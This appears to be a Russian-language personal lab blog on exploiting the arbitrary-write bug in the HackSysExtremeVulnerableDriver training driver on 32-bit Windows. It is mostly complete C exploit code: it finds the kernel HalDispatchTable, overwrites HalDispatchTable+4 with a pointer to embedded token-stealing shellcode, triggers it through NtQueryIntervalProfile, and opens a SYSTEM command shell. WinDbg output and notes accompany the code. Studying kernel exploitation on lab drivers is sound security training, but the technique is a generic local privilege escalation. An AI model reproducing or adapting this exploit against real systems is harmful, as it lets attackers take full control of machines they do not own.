truebad0ur@home:~$

В следующей лабе видим структуру:

link

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

А в конце:

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);

К сорцам:

link

Собственно запустим сплойт, посмотрим windbg:

#include <Windows.h>
#include <string.h>
#include <stdio.h>

#define IO_CODE 0x22200B

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

int main() {
    
    printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
    HANDLE hDevice = CreateFileA(kDevName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - dailed to get file handle!\n");
        system("pause");
        return -1;
    }
    printf("[+] Successfully obtained a handle to the driver\n");
    
    char *poc = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
    //printf("%d", sizeof(poc));
    DWORD bytesRetn;
    
    printf("[+] Starting interaction with the driver\n");
    DeviceIoControl(hDevice, IO_CODE, poc, 100, NULL, 0, &bytesRetn, NULL);
    //system("cmd.exe");
    CloseHandle(hDevice);
    
    return 0;
}

И получим:

****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0040409C
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x42424242
[+] Triggering Arbitrary Overwrite
Break instruction exception - code 80000003 (first chance)
HEVD!TriggerArbitraryOverwrite+0x5e:
a8353b66 83c424          add     esp,24h
kd> g
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******

Собственно, что дальше-то? Сама дыра заключается в возможности писать произвольные данные по произвольному адресу. Обычно, возможности урезаются митигациями или в целом самой дырой (можно писать 1 байт / 1 бит / только по адресам выше N и тд)

В самом коде показан способ защиты: проверка на то, что адреса из пространства ядра

ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));

С msdn’а

The ProbeForRead routine checks that a user-mode buffer
actually resides in the user portion of the address space, and is correctly aligned.

If the specified range of memory is not within the user-mode address range,
ProbeForRead raises the STATUS_ACCESS_VIOLATION exception.

В этот раз у нас нет возможности просто прыгнуть на код, адрес которого мы передадим. Нам нужно переписать кукую-то бесполезную функцию, которая редко вызывается, шеллкодом, и уже тогда она сама вызовется.

Переписывать функцию будем в HalDispatchTable (Hardware Abstraction Layer Dispatch Table)

nt!NtQueryIntervalProfile:
82921073 6a0c            push    0Ch
82921075 68880c6682      push    offset nt! ?? ::FNODOBFM::`string'+0xd08 (82660c88)
8292107a e871b4d6ff      call    nt!_SEH_prolog4 (8268c4f0)
8292107f 64a124010000    mov     eax,dword ptr fs:[00000124h]
82921085 8a983a010000    mov     bl,byte ptr [eax+13Ah]
8292108b 84db            test    bl,bl
8292108d 743e            je      nt!NtQueryIntervalProfile+0x5a (829210cd)
8292108f 8365fc00        and     dword ptr [ebp-4],0
82921093 8b750c          mov     esi,dword ptr [ebp+0Ch]
82921096 8bce            mov     ecx,esi
82921098 a154987782      mov     eax,dword ptr [nt!MmUserProbeAddress (82779854)]
8292109d 3bf0            cmp     esi,eax
8292109f 7202            jb      nt!NtQueryIntervalProfile+0x30 (829210a3)
829210a1 8bc8            mov     ecx,eax
829210a3 8b01            mov     eax,dword ptr [ecx]
829210a5 8901            mov     dword ptr [ecx],eax
829210a7 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
829210ae eb20            jmp     nt!NtQueryIntervalProfile+0x5d (829210d0)
829210b0 8b45ec          mov     eax,dword ptr [ebp-14h]
829210b3 8b00            mov     eax,dword ptr [eax]
829210b5 8b00            mov     eax,dword ptr [eax]
829210b7 8945e4          mov     dword ptr [ebp-1Ch],eax
829210ba 33c0            xor     eax,eax
829210bc 40              inc     eax
829210bd c3              ret
829210be 8b65e8          mov     esp,dword ptr [ebp-18h]
829210c1 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
829210c8 8b45e4          mov     eax,dword ptr [ebp-1Ch]
829210cb eb39            jmp     nt!NtQueryIntervalProfile+0x93 (82921106)
829210cd 8b750c          mov     esi,dword ptr [ebp+0Ch]
829210d0 8b4508          mov     eax,dword ptr [ebp+8]
829210d3 85c0            test    eax,eax
829210d5 7507            jne     nt!NtQueryIntervalProfile+0x6b (829210de)
829210d7 a1f48b7382      mov     eax,dword ptr [nt!KiProfileInterval (82738bf4)]
829210dc eb05            jmp     nt!NtQueryIntervalProfile+0x70 (829210e3)
829210de e88cbcfbff      call    nt!KeQueryIntervalProfile (828dcd6f)


nt!KeQueryIntervalProfile:
828dcd6f 8bff            mov     edi,edi
828dcd71 55              push    ebp
828dcd72 8bec            mov     ebp,esp
828dcd74 83ec10          sub     esp,10h
828dcd77 83f801          cmp     eax,1
828dcd7a 7507            jne     nt!KeQueryIntervalProfile+0x14 (828dcd83)
828dcd7c a168407782      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (82774068)]
828dcd81 c9              leave
828dcd82 c3              ret
828dcd83 8945f0          mov     dword ptr [ebp-10h],eax
828dcd86 8d45fc          lea     eax,[ebp-4]
828dcd89 50              push    eax
828dcd8a 8d45f0          lea     eax,[ebp-10h]
828dcd8d 50              push    eax
828dcd8e 6a0c            push    0Ch
828dcd90 6a01            push    1
828dcd92 ff1544947382    call    dword ptr [nt!HalDispatchTable+0x4 (82739444)]

nt!HalDispatchTable --> 82739440

Способы найти HalDispatchTable

1) Энумерируем все адреса драйверов с помощью EnumDeviceDrivers()

2) Ищем среди них адрес ntoskrnl (ntoskrnl.exe экспортирует KeQueryIntervalProfile())

3) Передаем хендл на ntoskrnl.exe в LoadLibraryExA и затем энумерируем адрес HalDispatchTable с помощью GetProcAddress

4) Как только адрес HalDispatchTable найден, мы можем посчитать адрес HalDispatchTable + 0x4 (добавив 4 байта) и переписать адрес на адрес нашего шеллкода в юзерспейсе.

4 байта добавляем, потому что по структуре HalDispatchTable в первых 4/8 байтах версия

Handles

#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

#define ARRAY_SIZE 1024

int main() {
    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) & cbNeeded < sizeof(drivers)) {
        TCHAR szDriver[ARRAY_SIZE];

        cDrivers = cbNeeded / sizeof(drivers[0]);

        printf("There are %d drivers:\n", cDrivers);
        for (i = 0; i < cDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
                //printf(" - %ws - \n", (const WCHAR *)szDriver);
                //printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
                if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
                    printf("%p: %ls\n", drivers[i], szDriver);
                }
                //printf("Skipped!\n");
            }
        }
    }
    else {
        printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
        return 1;
    }

    return 0;
}

Handles list

Get HalDispatchTable:

for (i = 0; i < cDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
                //printf(" - %ws - \n", (const WCHAR *)szDriver);
                //printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
                if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
                    printf("[+] Kernel Image Base: %p\n", drivers[i]);

                    HMODULE ntkrnlpaHandle = LoadLibraryExW(szDriver, 0, 0);
                    PVOID HALUserLand = (PVOID)GetProcAddress(ntkrnlpaHandle, "HalDispatchTable");
                    printf("[+] HalDispatchTable userland: %p \n", HALUserLand);
                    printf("\n\nHALUserLand: %p\nntkrnlpaHandle: %p\ndrivers[i]: %p\n\n", HALUserLand, &ntkrnlpaHandle, drivers[i]);
                    PVOID HalDispatchTable = (PVOID)((ULONG)drivers[i] - (ULONG)ntkrnlpaHandle + (ULONG)HALUserLand);
                    //PVOID HalDispatchTable = HALUserLand – ntkrnlpaHandle + szDriver;

                    printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
                }
                //printf("Skipped!\n");
            }
        }

Handles result

Так как переписывать мы будем HalDispatchTable+4, прибавим ещё 4 в коде и напишем эксплойт

#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

#define IO_CODE 0x22200B

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

#define ARRAY_SIZE 1024

int main() {
    __debugbreak();
    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) & cbNeeded < sizeof(drivers)) {
        TCHAR szDriver[ARRAY_SIZE];

        cDrivers = cbNeeded / sizeof(drivers[0]);

        printf("There are %d drivers:\n", cDrivers);
        for (i = 0; i < cDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
                //printf(" - %ws - \n", (const WCHAR *)szDriver);
                //printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
                if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
                    printf("[+] Kernel Image Base: %p\n", drivers[i]);

                    HMODULE ntkrnlpaHandle = LoadLibraryExW(szDriver, 0, 0);
                    PVOID HALUserLand = (PVOID)GetProcAddress(ntkrnlpaHandle, "HalDispatchTable");
                    printf("[+] HalDispatchTable userland: %p \n", HALUserLand);
                    printf("\n\nHALUserLand: %p\nntkrnlpaHandle: %p\ndrivers[i]: %p\n\n", HALUserLand, &ntkrnlpaHandle, drivers[i]);
                    PVOID HalDispatchTable = (PVOID)((ULONG)drivers[i] - (ULONG)ntkrnlpaHandle + (ULONG)HALUserLand + 4);
                    //PVOID HalDispatchTable = HALUserLand – ntkrnlpaHandle + szDriver;

                    printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
                    const char* shellcode = "\x60\x31\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x89\xC1\xBA\x04\x00\x00\x00\x8B\x80\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x39\x90\xB4\x00\x00\x00\x75\xED\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\x61\x31\xC0\x5D\xC2\x08\x00";
                    LPVOID shellc_ptr = VirtualAlloc(0, 58, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                    if (shellc_ptr)
                        memcpy(shellc_ptr, shellcode, 58);

                    printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
                    HANDLE hDevice = CreateFileA(kDevName,
                        GENERIC_READ | GENERIC_WRITE,
                        0,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL
                    );
                    
                    if (hDevice == INVALID_HANDLE_VALUE) {
                        printf("[-] Error - dailed to get file handle!\n");
                        system("pause");
                        return -1;
                    }
                    printf("[+] Successfully obtained a handle to the driver\n");

                    char poc[113] = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
                    //printf("%d", sizeof(poc));
                    DWORD bytesRetn;

                    LPVOID *var1 = &shellc_ptr;

                    poc[0] = ((unsigned char*)&var1)[0];
                    poc[1] = ((unsigned char*)&var1)[1];
                    poc[2] = ((unsigned char*)&var1)[2];
                    poc[3] = ((unsigned char*)&var1)[3];

                    poc[4] = ((unsigned char*)(&HalDispatchTable))[0];
                    poc[5] = ((unsigned char*)(&HalDispatchTable))[1];
                    poc[6] = ((unsigned char*)(&HalDispatchTable))[2];
                    poc[7] = ((unsigned char*)(&HalDispatchTable))[3];

                    //memcpy((void *) &poc[0], HalDispatchTable, 0x4);
                    //memcpy((void *) &poc[4], &shellc_ptr, 0x4);

                    printf("[+] Starting interaction with the driver\n");
                    DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);
                    system("cmd.exe");
                    CloseHandle(hDevice);
                }
                //printf("Skipped!\n");
            }
        }
    }
    else {
        printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
        return 1;
    }

    return 0;
}

Допиливаем напёрстком сплойт, собираем шелл и Viola!

#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

#define IO_CODE 0x22200B

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

#define ARRAY_SIZE 1024

int main() {
    __debugbreak();
    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) & cbNeeded < sizeof(drivers)) {
        TCHAR szDriver[ARRAY_SIZE];

        cDrivers = cbNeeded / sizeof(drivers[0]);

        printf("There are %d drivers:\n", cDrivers);
        for (i = 0; i < cDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
                //printf(" - %ws - \n", (const WCHAR *)szDriver);
                //printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
                if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
                    printf("[+] Kernel Image Base: %p\n", drivers[i]);

                    HMODULE ntkrnlpaHandle = LoadLibraryExW(szDriver, 0, 0);
                    PVOID HALUserLand = (PVOID)GetProcAddress(ntkrnlpaHandle, "HalDispatchTable");
                    printf("[+] HalDispatchTable userland: %p \n", HALUserLand);
                    printf("\n\nHALUserLand: %p\nntkrnlpaHandle: %p\ndrivers[i]: %p\n\n", HALUserLand, &ntkrnlpaHandle, drivers[i]);
                    PVOID HalDispatchTable = (PVOID)((ULONG)drivers[i] - (ULONG)ntkrnlpaHandle + (ULONG)HALUserLand + 4);
                    //PVOID HalDispatchTable = HALUserLand – ntkrnlpaHandle + szDriver;

                    printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
                    const char* shellcode = "\x90\x90\x90\x90\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x31\xc0\x83\xc4\x24\x5d\xc2\x08\x00";
                    LPVOID shellc_ptr = VirtualAlloc(0, 65, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                    if (shellc_ptr)
                        memcpy(shellc_ptr, shellcode, 65);

                    printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
                    HANDLE hDevice = CreateFileA(kDevName,
                        GENERIC_READ | GENERIC_WRITE,
                        0,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL
                    );
                    
                    if (hDevice == INVALID_HANDLE_VALUE) {
                        printf("[-] Error - dailed to get file handle!\n");
                        system("pause");
                        return -1;
                    }
                    printf("[+] Successfully obtained a handle to the driver\n");

                    char poc[113] = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
                    //printf("%d", sizeof(poc));
                    DWORD bytesRetn;

                    LPVOID *var1 = &shellc_ptr;

                    poc[0] = ((unsigned char*)&var1)[0];
                    poc[1] = ((unsigned char*)&var1)[1];
                    poc[2] = ((unsigned char*)&var1)[2];
                    poc[3] = ((unsigned char*)&var1)[3];

                    poc[4] = ((unsigned char*)(&HalDispatchTable))[0];
                    poc[5] = ((unsigned char*)(&HalDispatchTable))[1];
                    poc[6] = ((unsigned char*)(&HalDispatchTable))[2];
                    poc[7] = ((unsigned char*)(&HalDispatchTable))[3];

                    //memcpy((void *) &poc[0], HalDispatchTable, 0x4);
                    //memcpy((void *) &poc[4], &shellc_ptr, 0x4);

                    printf("[+] Starting interaction with the driver\n");
                    DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);

                    CloseHandle(hDevice);

                    HMODULE ntdll = GetModuleHandleA("ntdll");
                    typedef NTSTATUS(NTAPI* PtrNtQueryIntervalProfile)(
                        DWORD ProfileSource,
                        PULONG Interval
                        );
                    PtrNtQueryIntervalProfile _NtQueryIntervalProfile = (PtrNtQueryIntervalProfile)GetProcAddress(ntdll, "NtQueryIntervalProfile");
                    printf("[+] Address of NtQueryIntervalProfile: 0x%x.\n", _NtQueryIntervalProfile);
                    ULONG whatever;
                    _NtQueryIntervalProfile(2, &whatever);

                    system("cmd.exe");
                }
                //printf("Skipped!\n");
            }
        }
    }
    else {
        printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
        return 1;
    }

    return 0;
}

В самом конце у нас задача вызвать NtQueryIntervalProfile, что и происходит

Если дебагать, можно поставить бряки на NtQueryIntervalProfile и nt!KeQueryIntervalProfile

Result

Статья

Заметки:

  • Билдил в студии на хосте, в дебаг моде эксплойт работает только под windbg, в релизной версии работает без дебаггера, думаю, из-за vs либ
  • Не забывать osr loader’ом загружать драйвер, если при первой загрузке не поставил automatic
  • В теории можно сохранять значение по адресу HalDispatchTable+0x4 и после получения шелла восстанавливать его обратно, чтобы винда не падала (это проиходит при ребуте, так что не важно), но мне лень :)

Заметки:Следующий способ найти HalDispatchTable

Воспользуемся NtQuerySystemInformation

Фишка для windbg по пути: вот мы собираем какой-то юзермодный файлик, который будет к драйверу обращаться (например наш де код) и нам бы надо пересобрать .cpp и в том числе .pdb, но дескриптор на .pdb открыт, мы его подгрузили в windbg. Можно выгрузить модули с помощью .reload /u перекомпилить код и загрузить снова .sympath+ C:\path\to\pdb\file; .reload

Если хотим глядеть сорцы в windbg, надо сначала прожать File –> Open Source File, когда стоплнулся код на брейлпоинте в проге, а уже потом прописать .reload и всё будет работать:

Нет активной отладки в сорцах, но в дизасме прога стопнулась:

debug

.reload и подключилась активная отладка:

debug1

debug2

И так, к NtQuerySystemInformation

Код получился вот такой:

#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

#define MAXIMUM_FILENAME_LENGTH 255 

#define IO_CODE 0x22200B

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

int main() {
    __debugbreak();

    typedef struct SYSTEM_MODULE {
        ULONG Reserved1;
        ULONG Reserved2;
        PVOID ImageBaseAddress;
        ULONG ImageSize;
        ULONG Flags;
        WORD Id;
        WORD Rank;
        WORD w018;
        WORD NameOffset;
        BYTE Name[MAXIMUM_FILENAME_LENGTH];
    }SYSTEM_MODULE, * PSYSTEM_MODULE;

    typedef struct SYSTEM_MODULE_INFORMATION {
        ULONG ModulesCount;
        SYSTEM_MODULE Modules[1];
    } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

    typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemModuleInformation = 11,
        SystemHandleInformation = 16
    } SYSTEM_INFORMATION_CLASS;

    ULONG len = 0;
    PSYSTEM_MODULE_INFORMATION pModuleInfo;

    NTSTATUS WINAPI NtQuerySystemInformation(
        _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_ PVOID SystemInformation,
        _In_ ULONG SystemInformationLength,
        _Out_opt_ PULONG ReturnLength
    );

    typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
        __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
        __inout PVOID SystemInformation,
        __in ULONG SystemInformationLength,
        __out_opt PULONG ReturnLength
        );

    HMODULE ntdll = GetModuleHandle(L"ntdll");
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");

    if (query == NULL) {
        wprintf(L"[!] GetModuleHandle Failed\n");
        return 1;
    }

    query(SystemModuleInformation, NULL, 0, &len);

    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

    if (pModuleInfo == NULL) {
        wprintf(L"[!] Failed to allocate memory\n");
        return 1;
    }

    query(SystemModuleInformation, pModuleInfo, len, &len);
    if (!len) {
        wprintf(L"[!] Failed to retrieve system module information\n");
        return 1;
    }

    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
    PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;

    kernelImage = strrchr(kernelImage, '\\') + 1;

    wprintf(L"[+] Kernel Image name %S\n", kernelImage);
    wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);

    HMODULE KernelHandle = LoadLibraryA(kernelImage);
    wprintf(L"[+] Kernel Handle %p\n", KernelHandle);

    PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
    wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);

    PVOID HalDispatchTable = (PVOID)((ULONG)kernelImageBase - (ULONG)KernelHandle + (ULONG)HALUserLand + 4);

    wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);




    printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
    const char* shellcode = "\x90\x90\x90\x90\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x31\xc0\x83\xc4\x24\x5d\xc2\x08\x00";
    LPVOID shellc_ptr = VirtualAlloc(0, 65, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellc_ptr)
    memcpy(shellc_ptr, shellcode, 65);

    printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
    HANDLE hDevice = CreateFileA(kDevName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
                    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - dailed to get file handle!\n");
        system("pause");
        return -1;
    }
    printf("[+] Successfully obtained a handle to the driver\n");

    char poc[113] = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";

    DWORD bytesRetn;

    LPVOID *var1 = &shellc_ptr;

    poc[0] = ((unsigned char*)&var1)[0];
    poc[1] = ((unsigned char*)&var1)[1];
    poc[2] = ((unsigned char*)&var1)[2];
    poc[3] = ((unsigned char*)&var1)[3];

    poc[4] = ((unsigned char*)(&HalDispatchTable))[0];
    poc[5] = ((unsigned char*)(&HalDispatchTable))[1];
    poc[6] = ((unsigned char*)(&HalDispatchTable))[2];
    poc[7] = ((unsigned char*)(&HalDispatchTable))[3];

    printf("[+] Starting interaction with the driver\n");
    DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);

    CloseHandle(hDevice);

    //HMODULE ntdll = GetModuleHandleA("ntdll");
    typedef NTSTATUS(NTAPI* PtrNtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
    
    PtrNtQueryIntervalProfile _NtQueryIntervalProfile = (PtrNtQueryIntervalProfile)GetProcAddress(ntdll, "NtQueryIntervalProfile");
    printf("[+] Address of NtQueryIntervalProfile: 0x%x.\n", _NtQueryIntervalProfile);
    ULONG whatever;
    _NtQueryIntervalProfile(2, &whatever);

    system("cmd.exe");

    return 0;
}

Статья

Сорцы